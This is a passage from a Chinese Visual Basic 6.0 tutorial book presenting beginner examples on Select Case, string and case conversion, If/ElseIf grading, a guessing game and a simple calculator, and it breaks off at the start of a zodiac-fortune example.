当选择的情况较多时，使用If语句实现会很麻烦而且不直观，而VB中提供的Select Case语句可以方便、直观地处理多分支的控制结构，语法如下：



Select Case 测试表达式
        Case 表达式1
            语句块1
        Case 表达式2
            语句块2
            …
        Case 表达式n
            语句块n
        [Case Else
            语句块n+1]
End Select




Select Case语句的执行流程如图2.8所示。

[image: ]
图2.8　Select Case语句的执行流程图




说明：
 在Select Case语句中，“表达式”通常是一个具体的值（如Case 1），每一个值确定一个分支。“表达式”的值称为域值。

（2）Right函数

该函数用于返回Variant （String），其中包含从字符串右边取出的指定数量的字符，语法如下：



Right(string, length)




参数说明

❶string：必选参数。字符串表达式，从中最右边的字符将被返回。如果string包含Null，将返回Null。

‣ length：必选参数。如果为Variant（Long），则为数值表达式，指出想返回多少字符。如果为0，返回零长度字符串（""）。如果大于或等于string的字符数，则返回整个字符串。

下面示例使用Right函数来得到某字符串最右边的几个字符，代码如下：



Str =Right("changchun university", 2)        '变量MyStr中的值为"ty"
Str = Right("changchun university", 6)       '变量MyStr中的值为"ersity"




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“金额大小写转换”， StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Label控件，用于显示功能信息；添加两个TextBox控件，分别用于输入小写和输入大写；添加一个CommandButton控件，用于退出程序。

（4）程序的运行代码如下：



Private Sub Text2_Change()              '小写转大写
    Dim i As Integer
    Dim j As Integer
    Dim myint As Integer
    Dim myint1 As Integer
    Dim mydoub As Double
    Dim mystr As String
    Dim mystr1 As String
    Dim mystr2 As String
    Dim mystr3 As String
    Dim mystr4 As String
    Dim money As Long
    Dim money1 As Integer
    Dim money2 As Long
    mystr = Text2.Text
    myint = InStr(mystr, ".")
    If myint = 0 Then
        mystr = Text2.Text
    Else
        mystr3 = Right(Text2.Text, Len(Text2.Text) - myint)
        If mystr3 <> "" Then               '转换小数位
            mystr4 = Left(mystr3, 1)
            mystr3 = Right(mystr3, Len(mystr3) - 1)
            If mystr4 <> "0" Then
                mystr2 = mystr2 + setdata(Val(mystr4)) + "角"
            Else
                mystr2 = mystr2 + "零"
            End If
            If mystr3 <> "" Then
                mystr4 = Left(mystr3, 1)
                mystr2 = mystr2 + setdata(Val(mystr4)) + "分"
            End If
        End If
        mystr = Left(Text2.Text, myint - 1)
    End If
    j = Len(mystr)
    For i = 1 To Len(mystr)      '转换整数位
        money2 = Left(mystr, i)
        money1 = Right(money2, 1)
        If money1 = 0 Then
            If j = 5 Then
                If Right(mystr1, 1) = "零" Then mystr1 = Left(mystr1, Len(mystr1) - 1)
                If Right(mystr1, 1) <> "万" Then mystr1 = mystr1 & "万"
            Else
                If Right(mystr1, 1) <> "零" And Right(mystr, j) > 0 Then mystr1 = mystr1 & "零"
            End If
        Else
            mystr1 = mystr1 & setdata(money1) + chang(j)
        End If
        j = j - 1
    Next i
    Text1.Text = mystr1 & "元" & mystr2  '显示大写
End Sub




秘笈心法

心法领悟023：Select Case语句和If…Then语句的区别。

比较两者之间的区别，可以看出，在多分支选择情况下，使用Select Case语句结构更清晰。当然，若只有两个分支或分支数很少，则直接使用If…Then语句更好一些。


 2.3　常用的函数与语句



 实例024　大小写转换

光盘位置：光盘\MR\02\024

初级

趣味指数：[image: ]




实例说明

[image: ]
图2.9　大小写转换



本实例实现了大小写转换的功能。在进行数据验证时，有时要求用户只能输入大写或小写，这时可以将要验证的内容统一转换成大写或小写。可以利用UCase函数将字符串转换为大写，利用LCase函数将字符串转换为小写，程序的运行效果如图2.9所示。

关键技术

本实例主要利用UCase函数将字符串转换为大写，利用LCase函数将字符串转换为小写。

（1）UCase函数

该函数用于返回Variant （String），其中包含转换成大写的字符串，语法如下：



UCase(string)




参数说明

string：必选参数。string参数为任何有效的字符串表达式。如果string包含Null，将返回Null。

（2）LCase函数

该函数用于返回转换成小写的string，语法如下：



LCase(string)




参数说明

string：必选参数。string参数可以是任何有效的字符串表达式。如果string包含Null，将返回Null。


注意：
 以上函数在进行转换时，如果遇到小写字符或数字字符，将不进行转换，按照原形输出。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“大小写转换”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加4个TextBox控件，用于显示输入的字符串和转换后的字符串；添加两个Label控件，并设置Caption属性；添加一个CommandButton控件，用于执行大小写转换的命令。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Text3.Text = UCase(Text1)                        '将Text1文本框内的字符串转换为大写
    Text4.Text = LCase(Text2)                        '将Text2文本框内的字符串转换为小写
End Sub




秘笈心法

心法领悟024：ASCII字符集小知识。

字符是程序设计语言最基本的语法单位，包括英文字母、数字和一些特殊符号。常用的字符集是ASCII（美国信息交换标准码）字符集，是在计算机之间或计算机与外围设备之间交换的标准化的编码，ASCII码值从0～255，包括以下内容：


	数字0～9。

	英文字母A～Z，a～z。

	特殊字符，如空格、！、@、#、%、^、&、*、/、[、]、{、}、_、+、−、：、；、“、'、|、\、．、=、<、>、～等。





 实例025　程序立即退出

光盘位置：光盘\MR\02\025

初级

趣味指数：[image: ]




实例说明

本实例实现了使用End语句使程序立即退出的功能。例如，运行本实例，单击“关闭”按钮，程序将关闭所有窗体，程序的运行效果如图2.10所示。

[image: ]
图2.10　程序立即退出



关键技术

End语句提供了一种强迫中止程序的方法。Visual Basic 6.0程序正常结束应该卸载所有的窗体。只要没有其他程序引用该程序公共类模块创建的对象并无代码执行，程序将立即关闭。例如，本例执行End语句后打开的所有窗口将全部关闭。

End语句会重置所有模块级别变量和所有模块的静态局部变量。End语句不调用Unload、QueryUnload或Terminate事件或任何其他Visual Basic 6.0代码，只是生硬地终止代码执行。类模块创建的对象被破坏，由Open语句打开的文件被关闭，并且释放程序所占用的内存。其他程序的对象引用无效。

设计过程

（1）新建一个标准工程。

（2）在工程中添加两个窗体，窗体的名称使用其默认名称，将Form1的Caption属性设置为“程序立即退出”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个CommandButton控件，将Caption属性设置为“关闭”，并设置Font属性。

（4）程序的运行代码如下：



Private Sub Command1_Click()
End                                                '关闭所有窗口
End Sub
Private Sub Form_Load()
Command1.Caption = "关闭"
Form2.Show
End Sub




秘笈心法

心法领悟025：Option Explicit语句小知识。

Option Explicit是在模块级中使用的语句，它能够强制模块中的所有变量不能进行隐式声明。在使用Option Explicit语句时，需要将Option Explicit语句写在模块中的所有过程之前，这样在模块中所有变量就需要使用Dim、Private、Public或Static等语句进行声明，如果程序中有未声明的变量，那么Visual Basic将产生一个“变量未定义”的编译错误。



 实例026　数字与字符串的转换

光盘位置：光盘\MR\02\026

初级

趣味指数：[image: ]




实例说明

本实例实现了数字与字符串转换的功能。在程序开发的过程中需要对各种数据类型进行处理，因此经常会遇到数字与字符串的相互转换。本程序是利用CStr函数和Val函数将数字转换为字符串和将字符串转换为数字的，程序的运行结果如图2.11所示。

[image: ]
图2.11　数字与字符串的转换



关键技术

本实例主要是通过利用CStr函数把数字转换为字符串，利用Val函数把数字型字符串转换为数字。

每个CStr函数都可以强制将一个表达式转换成字符型，语法如下：



CStr(expression)




参数说明

expression：必选参数。expression参数可以是任何字符串表达式或数值表达式。

下面示例使用CStr函数将一数值转换为String。



Dim MyDouble, MyString
MyDouble = 437.324              ' MyDouble为Double 类型
MyString = CStr(MyDouble)       ' MyString的内容为“437.324”





说明：
 Val函数的详细讲解请参见实例019中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“数字与字符串的转换”，StartUpPosition属性设置为“2-屏幕中心”。

（3） 在窗体上添加两个Label控件，用于显示提示信息；添加两个TextBox控件，用于显示转换后的输出结果。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Text1.Text = CStr(5468)         '显示结果"5468"
    Text2.Text = Val("5468")        '显示结果"5468"
End Sub




秘笈心法

心法领悟026：Val函数的细节问题。

利用Val函数来返回数值，并从左到右依次进行转换，直到遇到字符串中的非数字字符为止。Val函数只会将句点（.）当成是一个可用的小数点分隔符。当使用不同的小数点分隔符时（如在国际版应用程序中），代之以CDbl来把字符串转换为数字。



 实例027　文本字数统计

光盘位置：光盘\MR\02\027

初级

趣味指数：[image: ]




实例说明

本实例实现了文本字数统计的功能。Word具有统计文档字数的功能，在应用程序中可以通过引用Word对象来统计文档字数。本实例实现的是通过在应用程序中调用Word对象来实现统计窗体的文本框中文章的单词数和字符数信息，在程序运行时单击窗体中的“统计字数”按钮，在窗体上将显示文本框中文章的单词数和字符数信息，程序的运行效果如图2.12所示。

[image: ]
图2.12　调用Word统计字数



关键技术

首先引用Microsoft Word 9.0 Object Library对象，然后使用该对象中的Application对象的Dialogs方法调用统计文章字数的对话框来统计文章的字数。

调用统计文章字数的对话框的语法如下：



Set wordDlg = myDoc.Application.Dialogs(wdDialogDocumentStatistics)




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“文本字数统计”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个TextBox控件，用于显示文本的内容；添加一个CommandButton控件，将Caption属性设置为“统计字数”，用于执行命令的按钮。

（4）在窗体上添加一个Frame控件，名称使用默认名称；在Frame控件上添加两个Label控件，用于显示统计字数的信息。

（5）程序的运行代码如下：



Dim myDoc As New Document
Private Sub Command2_Click()
On Error Resume Next
  Dim wordDlg As Word.Dialog
  myDoc.Range = Text1.Text
  Set wordDlg = myDoc.Application.Dialogs(wdDialogDocumentStatistics)
  wordDlg.Execute
  Label1.Caption = "单词数" & Str(wordDlg.Words) & "词"
  Label2.Caption = "字符数" & Str(wordDlg.Characters) & "字符"
End Sub
Private Sub Form_Load()
  Me.Left = (Screen.Width - Me.Width) / 2
  Me.Top = (Screen.Height - Me.Height) / 2
End Sub
Private Sub Form_Unload(Cancel As Integer)
On Error Resume Next
    If myDoc.Application.Visible Then
        myDoc.Close savechanges:=False
    Else
        myDoc.Application.Quit savechanges:=False
    End If
End Sub




秘笈心法

心法领悟027：动态数组小知识。

动态数组使用ReDim语句声明。动态数组只能改变其数组元素的多少，从而改变所占内存大小，不能改变其已经定义的数据类型。动态数组还可以使用Dim语句声明。在使用Dim语句声明动态数组时，将数组下标定义为空（没有数组），并在需要改变这个数组大小时，使用ReDim语句重新声明该数组的下标。



 实例028　一封家书

光盘位置：光盘\MR\02\028

高级

趣味指数：[image: ]




实例说明

本实例实现了在图片上输出文字的功能。运行程序，当鼠标滑过图片时，在图片上输出文字，其实现的效果如图2.13所示。

[image: ]
图2.13　在图片上书写文字



关键技术

在进行图片处理时，有时需要在图片上书写一些文字以增添图片的效果，其实在图片上书写文字是十分简单的，可以利用PictureBox控件的Print方法，将要输出的文字复制到图片上。

设计过程

1．程序设计过程

（1）新建一个标准工程，创建一个新窗体，设置窗体的BorderStyle属性为0-None。

（2）在窗体上添加一个PictureBox控件，设置Picture1的BorderStyle属性为0-None，设置Picture属性为指定的图片。

设计完成的效果如图2.14所示。　

[image: ]
图2.14　设计效果



2．在窗体上输出内容

当鼠标在窗体上移动时，会触发PictureBox控件的MouseMove事件，这是因为PictureBox控件覆盖了整个窗体，当鼠标在窗体上移动时，就相当于在PictureBox控件上移动，因此会触发PictureBox控件的MouseMove事件。所以将在窗体上输出的代码写在MouseMove事件中，程序代码如下：



Private Sub Picture1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Picture1.Print                                                '输出空行
    Picture1.Print                                                '输出空行
    Picture1.Print                                                '输出空行
    Picture1.Font = "华文行楷"                                        '设置输出的文字的字体
    Picture1.FontSize = 20                                            '设置输出的文字的字号
    Picture1.Print "                一封家书    "                        '输出标题
    Picture1.Font = "宋体"                                            '重新设置输出文字的字体
    Picture1.FontSize = 10                                            '重新设置输出文字的字号
    Picture1.FontBold = False                                        '设置字体为非粗体
    Picture1.Print                                                '输出一行空行
    Picture1.Print "                                   李春波"                '输出作者名
    Picture1.Print                                                '输出空行
    Picture1.Font = "华文行楷"                                        '设置后面要输出的文字字体
    Picture1.FontSize = 16                                            '设置要输出的文字字号
    Picture1.Print "                 亲爱的爸爸妈妈："                    '输出文字
    Picture1.Print                                                '输出空行
    Picture1.Print "                        你们好吗？"                        '输出文字
    Picture1.Print                                                '输出空行
    Picture1.Print "                      现在工作很忙吧！"                '输出文字
    Picture1.Print                                                '输出空行
    Picture1.Print "                        身体好吗？"                        '输出文字
    Picture1.Print                                                '输出空行
    Picture1.Print "                        我现在广州挺好的，"                '输出文字
    Picture1.Print                                                '输出空行
    Picture1.Print "                         爸爸妈妈不要太牵挂。    "            '输出文字
    Picture1.Print                                                '输出空行
    Picture1.Print "                         虽然我很少写信，"                '输出文字
    Picture1.Print                                                '输出空行
    Picture1.Print "                        其实我很想家。"                    '输出文字
End Sub




3．设置鼠标样式

在窗体加载时，将PictureBox控件的鼠标样式设置为指定的样式，这里设置的样式如图2.15所示，使用户感觉像是用笔书写到信纸上的。

[image: ]
图2.15　图标样式



这里首先使用PictureBox控件的MousePointer属性，用于设置鼠标的样式为用户自定义的样式，然后再设置MouseIcon属性为指定的鼠标样式，这样即可改变PictureBox控件的鼠标样式，程序代码如下：



Private Sub Form_Load()
    Picture1.MousePointer = 99
    Picture1.MouseIcon = LoadPicture(App.Path & "\Pen.ico")
End Sub




4．移动无标题栏窗体

当把窗体的标题栏取消，即设置窗体的BorderStyle属性为0-None时，程序的界面效果比较好，但是也随之产生了另一个问题，就是当窗体没有标题栏时，窗体是无法被移动的。为了解决这个问题，需要使用API函数。

移动无标题栏窗体的实现原来是：首先，需要使用PictureBox控件的MouseDown事件，在这个事件中，判断按下的鼠标键，如果是鼠标左键，则使用API函数ReleaseCapture函数释放鼠标捕获，然后利用API函数SendMessage函数向窗体传递消息，实现窗体的移动，程序代码如下：



Const HTCAPTION = 2
Const WM_NCLBUTTONDOWN = &HA1
Private Declare Function ReleaseCapture Lib "user32" () As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" ( _
                                                        ByVal hwnd As Long, _
                                                        ByVal wMsg As Long, _
                                                        ByVal wParam As Long, _
                                                        lParam As Any) As Long
Private Sub Picture1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
    If Button = 1 Then                                        '如果按下鼠标左键
        Dim ReturnVal As Long                                    '定义一个整型变量
        X = ReleaseCapture()                                    '释放鼠标捕获
        '向窗体传递消息，实现窗体移动
        ReturnVal = SendMessage(hwnd, WM_NCLBUTTONDOWN, HTCAPTION, 0)
    End If
End Sub




秘笈心法

心法领悟028：强行改变运算符的运算顺序。

可以利用括号改变运算符的运算顺序，代码如下：



Private Sub Command1_Click()
MsgBox 2 * (3 + 5)  '运算结果为16
End Sub





 2.4　条件语句



 实例029　使用If语句判断成绩优良

光盘位置：光盘\MR\02\029

初级

趣味指数：[image: ]




实例说明

本实例实现了使用If…Then结构语句判断成绩的优良中差。运行程序，在文本框中输入成绩，单击“判断”按钮，弹出成绩所属的范围对话框，程序的运行效果如图2.16所示。

[image: ]
图2.16　判断成绩的优良



关键技术

本实例主要是通过使用Val函数将输入的字符串返回一个适当的数值，然后通过If…Then…Else语句判断输入成绩的优良中差。

多分支If…Then…ElseIf语句只有块形式的写法，语句如下：



If 条件表达式1 Then
    语句块1
ElseIf 条件表达式2 Then
    语句块2
ElseIf 条件表达式3 Then
    语句块3
    …
ElseIf 条件表达式n Then
    语句块n
    …
[Else
    语句块n+1]
End If




该语句的作用是根据不同的条件确定执行哪个语句块，其执行顺序为条件表达式1、条件表达式2……一旦条件表达式的值为True，则执行该条件下的语句块。


说明：
 在VB中，If…Then…ElseIf语句中的条件表达式和语句块的个数没有具体限制。另外，书写时应注意，在关键字ElseIf中间没有空格。


说明：
 Val函数的详细讲解请参见实例019中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“判断成绩的优良”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Label控件、一个TextBox控件和一个CommandButton控件，用于输入成绩并判断成绩的优良情况。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Dim i As Integer
    i = Val(Text1)
    If i = 100 Then
        MsgBox "满分"
    ElseIf i >= 85 Then
        MsgBox "优秀"
    ElseIf i >= 75 Then
        MsgBox "良好"
    ElseIf i >= 60 Then
        MsgBox "及格"
    Else
        MsgBox "不及格，该努力了"
    End If
End Sub




秘笈心法

心法领悟029：If语句的嵌套小知识。

若If…Then语句或Else语句后还包含一个或多个完整的、新的If类型的语句，这就是If语句的嵌套。在使用If嵌套语句时，要注意Else语句与If之间的匹配关系。一般来说Else语句都与上面最近的If语句相匹配。而且嵌套时If语句的层次性一定要好，不然很容易给代码阅读造成混乱。因此如果能用单个的If语句实现的功能，尽量不用嵌套If语句。



 实例030　大了小了猜想

光盘位置：光盘\MR\02\030

中级

趣味指数：[image: ]




实例说明

本实例实现了猜数字直到猜对为止的功能。在判断TextBox控件中输入的数值大小时，需要先判断TextBox控件中输入的内容是否是数字，然后再判断其大小。如果使用两个If…Then语句同时判断，则当TextBox控件内输入的不是数字时，将产生运行时错误。因此应当使用If嵌套语句进行判断。大了小了猜想主要运用了If语句的嵌套，程序的运行效果如图2.17所示。

[image: ]
图2.17　大了小了猜想



关键技术

本实例主要是通过使用If语句的嵌套和CLng来实现的。

（1）If语句的嵌套

下面的语句格式是If语句的嵌套结构之一。



If <表达式> Then
   If <表达式> Then
   <语句组>
   Else
   <语句组>
   End If
Else
   If <表达式> then
   <语句组>
   Else
   <语句组>
   End If
End If




（2）CLng函数

每个CLng函数都可以强制将一个表达式转换成长整型，语法如下：



CLng(expression)




参数说明

expression：必选参数。expression参数可以是任何字符串表达式或数值表达式。-2147483648～214783647，小数部分四舍五入。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“大了小了猜想”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Label控件，并设置各自的Caption属性，用于显示提示信息；添加一个TextBox控件，用于输入猜想的数字。

（4）在窗体上添加两个CommandButton控件，将Caption属性分别设置为“生成”和“比较”，分别用于执行生成随机数命令和比较是否相等命令。

（5）例如猜一个1000以内的随机数，程序代码如下：



Public A As Long
Private Sub Command1_Click()
'    Randomize
    A = CLng(1000 * Rnd)                                    '生成一个随机数
End Sub
Private Sub Command2_Click()
    Static B As Integer                                    '声明静态变量
    If Text1.Text <> "" And IsNumeric(Text1.Text) Then                  '判断输入的是否是空值或非数值数据
        B = B + 1
        If CLng(Text1.Text) > A Then                            '比较大小返回信息
            MsgBox "大了。", ,"信息提示"
        ElseIf CLng(Text1.Text) < A Then        
            MsgBox "小了。", ,"信息提示"
        Else
            MsgBox "猜对了，这个数是" & A & "。", ,"信息提示"
            B = 0
            Exit Sub
        End If
    End If
    Label2.Caption = "这是第" & B & "次。"                      '记录猜值次数
End Sub
Private Sub Text1_KeyDown(KeyCode As Integer, Shift As Integer)
    If KeyCode = 13 Then Call Command2_Click
End Sub




秘笈心法

心法领悟030：To关键字的使用。

To关键字可以指定取值的范围，例如A～Z之间可写成A To Z，但要注意较小的值在前面，较大的值在后面，这是必需的书写方式。

语法如下：



<表达式1> To <表达式2>




表达式1：数值表达式或字符串表达式。限定范围中最小的值。

表达式2：数值表达式或字符串表达式。限定范围中最大的值。



 实例031　判断输入的是字母还是数字

光盘位置：光盘\MR\02\031

初级

趣味指数：[image: ]




实例说明

本实例实现了判断输入的字符是字母还是数字的功能。运行程序，在文本框中输入一个字符，单击“判断”按钮，弹出字符所属的范围对话框，程序的运行效果如图2.18所示。

[image: ]
图2.18　判断输入的是字母还是数字



关键技术

If…Then…ElseIf语句是If…Then…Else语句的延伸，就是当If…Then…Else语句不符合判断条件时，使程序判断ElseIf语句后的条件是否满足，根据这个判断结果，程序执行相应的程序段，语法如下：



If <表达式1> Then
   [语句组1]
ElseIf <表达式2> Then
   [语句组2] ...
[Else
   [语句组3]]
End If




If…Then…ElseIf语句的参数说明如表2.2所示。

表2.2　If…Then…ElseIf语句的参数说明



	参数
	说明



	表达式1
	必选参数。其运算结果为True或False。当以数值表达式或字符串表达式出现时，如果表达式为Null，则表达式的运算结果视为False；当以TypeOf <对象名> Is <对象类型>形式的表达式出现时，其中的对象名是任何对象的引用，而对象类型则是任何有效的对象类型。如果对象名是对象类型所指定的一种对象类型，则表达式为True，否则为False



	语句组1
	可选参数。一条或多条语句，只有表达式1的值为True时执行这些语句



	表达式2
	必选参数。当表达式1的值为False时，程序才会判断表达式2，其运算结果为True或False。当以数值表达式或字符串表达式出现时，如果表达式为Null，则表达式的运算结果视为False；当以TypeOf <对象名> Is <对象类型>形式的表达式出现时，其中的对象名是任何对象的引用，而对象类型则是任何有效的对象类型，如果对象名是对象类型所指定的一种对象类型，则表达式为True，否则为False



	语句组2
	可选参数。一条或多条语句，当表达式1的值为False，并且表达式2的值为True时，才执行这些语句



	语句组3
	可选参数。一条或多条语句，当表达式1和表达式2的值都为False时，执行这些语句





注意：
 [Else[语句组3]]子语句是可选参数，是程序判断的条件有除此以外的结果时执行的语句组。只有当Else子语句出现时，才能有语句组3的出现。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“判断输入的是字母还是数字”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Label控件，将Caption属性设置为“请输入一个字符：”；添加一个TextBox控件，用于输入字符；添加一个CommandButton控件，将Caption属性设置为“判断”。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Dim bo, St As String
    St = Text1.Text
    bo = St Like "[a-z]"
    If IsNumeric(St) Then
        MsgBox "输入的是数字。", vbOKOnly, "信息提示"
    ElseIf bo Then
        MsgBox "输入的是小写字母。", vbOKOnly, "信息提示"
    ElseIf Not bo And St <> "" Then
        MsgBox "输入的是大写字母。", vbOKOnly, "信息提示"
    Else
        MsgBox "输入的既不是数字也不是字母。", vbOKOnly, "信息提示"
    End If
End Sub




秘笈心法

心法领悟031：如何判断字符串是否为空Null。

判断是否为空时不可以使用“If 变量= Null Then”语句，因为Null在任何表达式中的返回结果都为Null。而应该使用IsNull函数进行判断，代码如下：



Private Sub Command1_Click()
Dim i
i = Null  '将变量赋值为空
If IsNull(i) = True Then  '判断变量是否为空
MsgBox "为空NULL"
Else
MsgBox "不为空"
End If
End Sub






 实例032　使用Select Case语句判断成绩优良

光盘位置：光盘\MR\02\032

初级

趣味指数：[image: ]




实例说明

下面制作一个简单的实例判断成绩优良。根据分数使用Select Case语句，选择该分数属于的范围（优秀、良好、及格、差），程序的运行效果如图2.19所示。

[image: ]
图2.19　判断成绩优良程序



关键技术

本实例主要是通过使用Select Case语句来实现的。Select Case语句的作用是，根据表达式的值来选择执行几组语句中符合表达式值条件的语句，语法如下：



Select Case <表达式>
[Case <值1>
[<语句组1>]]
...
[Case <值n>
[<语句组n>]]
[Case Else
[<语句组2>]]
End Select




Select Case语句的参数说明如表2.3所示。

表2.3　Select Case语句的参数说明



	参数
	说明



	表达式
	必选参数。任何数值表达式、字符串表达式或判断条件的表达式



	值1
	如果有Case出现，则为必选参数。表达式的结果可以是多个，并且可使用关键字Is和To



	语句组1
	可选参数。一条或多条语句，当表达式的值匹配值1时执行。如果不匹配则继续判断其他值，直到值n



	值n
	如果有Case出现，则为必选参数。表达式的结果可以是多个，并且可使用关键字Is和To。当之前所有的值都不匹配表达式的值时判断值n



	语句组n
	可选参数。一条或多条语句，当值n之前的值都不匹配表达式的值，而只有值n匹配表达式的值时执行



	语句组2
	可选参数。一条或多条语句，当值1～值n都不匹配表达式的值时执行





注意：
 多个值用“、”分开。Select Case语句同If语句一样可以嵌套使用，但要注意每个嵌套的Select Case语句必须要有相应的End Select语句结束。


说明：
 End Select语句用于结束一个Select Case语句。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“判断成绩优良”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加3个Label控件，用于显示提示信息；添加一个TextBox控件，用于输入成绩；添加一个CommandButton控件，用于执行成绩显示结果命令。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    If IsNumeric(Text1.Text) Then                                '判断是否是数值型数据
     Select Case CInt(Text1.Text)                                '条件选择
     Case Is > 85                                        '分数大于85成绩优秀
        Label2.Caption = "成绩：" & "优秀"                        '在标签中显示优秀
     Case 70 To 84
        Label2.Caption = "成绩：" & "良好"
     Case 60 To 69
        Label2.Caption = "成绩：" & "及格"
     Case Is < 60
        Label2.Caption = "成绩：" & "差"
     End Select
    End If
End Sub




秘笈心法

心法领悟032：Select Case语句小知识。

多分支选择结构是通过使用Select Case语句实现的。在编写程序时，很多地方都会遇到多分支选择结构。如果仅使用If语句实现，可能会降低程序代码的可读性，对日后的程序维护产生不便。Visual Basic提供的Select Case语句，可在众多分支中选择一个符合的条件执行。



 实例033　制作简单计算器

光盘位置：光盘\MR\02\033

高级

趣味指数：[image: ]




实例说明

计算器的出现大大帮助了财会人员从繁杂的数据中解脱出来，从而降低了财会人员的核算强度，并提高了数据计算的准确性。下面介绍如何开发制作一个简单的计算器。程序的运行效果如图2.20所示。

[image: ]
图2.20　简单的计算器



关键技术

开发简单计算器这样的工具非常简单，在此举一个加法的例子（其他运算的设计想象和关键技术雷同），将加数和被加数保存到Double变量current中，单击+按钮时，将+保存在字符串变量choice中用来区别其他计算，并且将变量current中的数据赋值给变量prev，最后单击=按钮计算结果。


注意：
 VB中变量的数据类型不用转换，系统可以自行转换相应的数据类型。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。

（2）在窗体中添加一个TextBox控件，其名称为默认的Text1。

（3）在窗体中添加CommandButton按钮控件数组，其名称依次为Command1（0）～Command1（9），其名称分别为0～9。

（4）在窗体中添加6个用来实现运算功能的按钮CommandButton，其名称分别为plus、minus、asterisk、slash、sroot、equal，其Caption属性分别为“+”、“-”、“*”、“/”、“sqrt”、“=”。

（5）在窗体中添加3个CommandButton控件，其名称分别为ac、point、sign，对应的Caption属性为“ac”、“．”、“+/-”。

（6）主要程序代码如下：



Private Sub equal_Click()
    If choice = "+" Then
        current = prev + current
        Text1.Text = current
    ElseIf choice = "-" Then
        current = prev - current
        Text1.Text = current
    ElseIf choice = "*" Then
        current = prev * current
        Text1.Text = current
    ElseIf choice = "/" And current <> 0 Then
        current = prev / current
        Text1.Text = current
    Else
        Text1.Text = "Press AC to continue"
        dz.Visible = True
        dz.Caption = "Division by ZERO"
    End If
    If current < 0 Then
        sroot.Enabled = False
    Else
        sroot.Enabled = True
    End If
End Sub




秘笈心法

心法领悟033：怎样关闭一个正在运行的程序。

可以使用API函数FindWindow和PostMessage去寻找指定的窗口，并关闭它。下面的例子给出怎样找到并关掉一个Caption为“Caluclator”的程序。



Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Const WM_CLOSE = &H10
Private Sub Command1_Click()
    Dim winHwnd As Long
    Dim RetVal As Long
    winHwnd = FindWindow(vbNullString, "Calculator")
    Debug.Print winHwnd
    If winHwnd <> 0 Then
        RetVal = PostMessage(winHwnd, WM_CLOSE, 0&, 0&)
        If RetVal = 0 Then
            MsgBox "置入消息错误！"
        End If
    Else
        MsgBox "Calculator没有打开！"
    End If
End Sub






 实例034　测试十二生肖运势

光盘位置：光盘\MR\02\034

高级

趣味指数：[image: ]




实例说明

十二生肖是一种古老的民俗文化，它起源于中国，是华夏先民动物崇拜、图腾崇拜以及早期天文学的结晶。人体工程学认为生肖与人的运势有一定联系，而且人们也常常根据生肖看运势。

本实例就来编写一个测试十二生肖运势的程序。利用它不仅能够直接根据生肖测试运势，而且也能够根据出生年份查看相应的生肖及运势。

单击“申猴”按钮，将显示生肖猴对应的运势，如图2.21所示。

[image: ]
图2.21　根据生肖测试运势



输入出生年份，单击“测试”按钮，将查询出该年份对应生肖的运势，如图2.22所示。

[image: ]
图2.22　根据出生年份测试运势



关键技术

本实例主要是通过使用Select Case语句来实现的。Select Case语句的作用是，根据表达式的值来选择执行几组语句中符合表达式值条件的语句。详细内容请参见本章实例032的关键技术。

设计过程

1．窗体界面设计

（1）新建一个标准的Exe工程。

（2）在工程中会默认地创建一个窗体，分别设置该窗体的Caption属性为“测试十二生肖运势”，Picture属性为事先设计好的背景图片。

（3）向窗体上添加12个Image控件，设置为名称为Img的控件数组，将Index属性设置为0～11，并向其中添加图片。

（4）在窗体上添加一个Label控件，使用默认名称Label1，设置Caption属性为“请输入您的出生年份”，BackStyle属性为0-Transparent，透明显示。

（5）在窗体上添加一个TextBox控件，用于输入要查询的年份。

（6）在窗体上添加一个CommandButton控件，设置Caption属性为“测试”，用于查询测试的结果。

（7）在窗体下面的部分再添加一个Label控件，使用默认名Label2，设置Caption属性为空，无文字信息；设置BackStyle属性为0-Transparent，透明显示；设置WordWrap属性为True，Label控件中的文字可以回行显示。

（8）在窗体上再添加24个Image控件，其中12个设置为名称为Img0的控件数组，设置Index属性为0～11，用于显示选中前的图片样式，另外12个设置为名称为Img1的控件数组，Index属性设置为0～11，用于显示被选中属相以后的图片信息。

（9）在工程中添加一个标准的模块，用于声明一个自定义类型和一个自定义的过程。

2．程序代码设计

首先在模块中声明一个自定义的数据类型Zodiac，其中包括3个数据元素，一个用于表示余数的整型变量，一个是表示属相的字符串变量，还有一个存储属相的描述信息的字符串变量，声明形式如下：



Type Zodiac
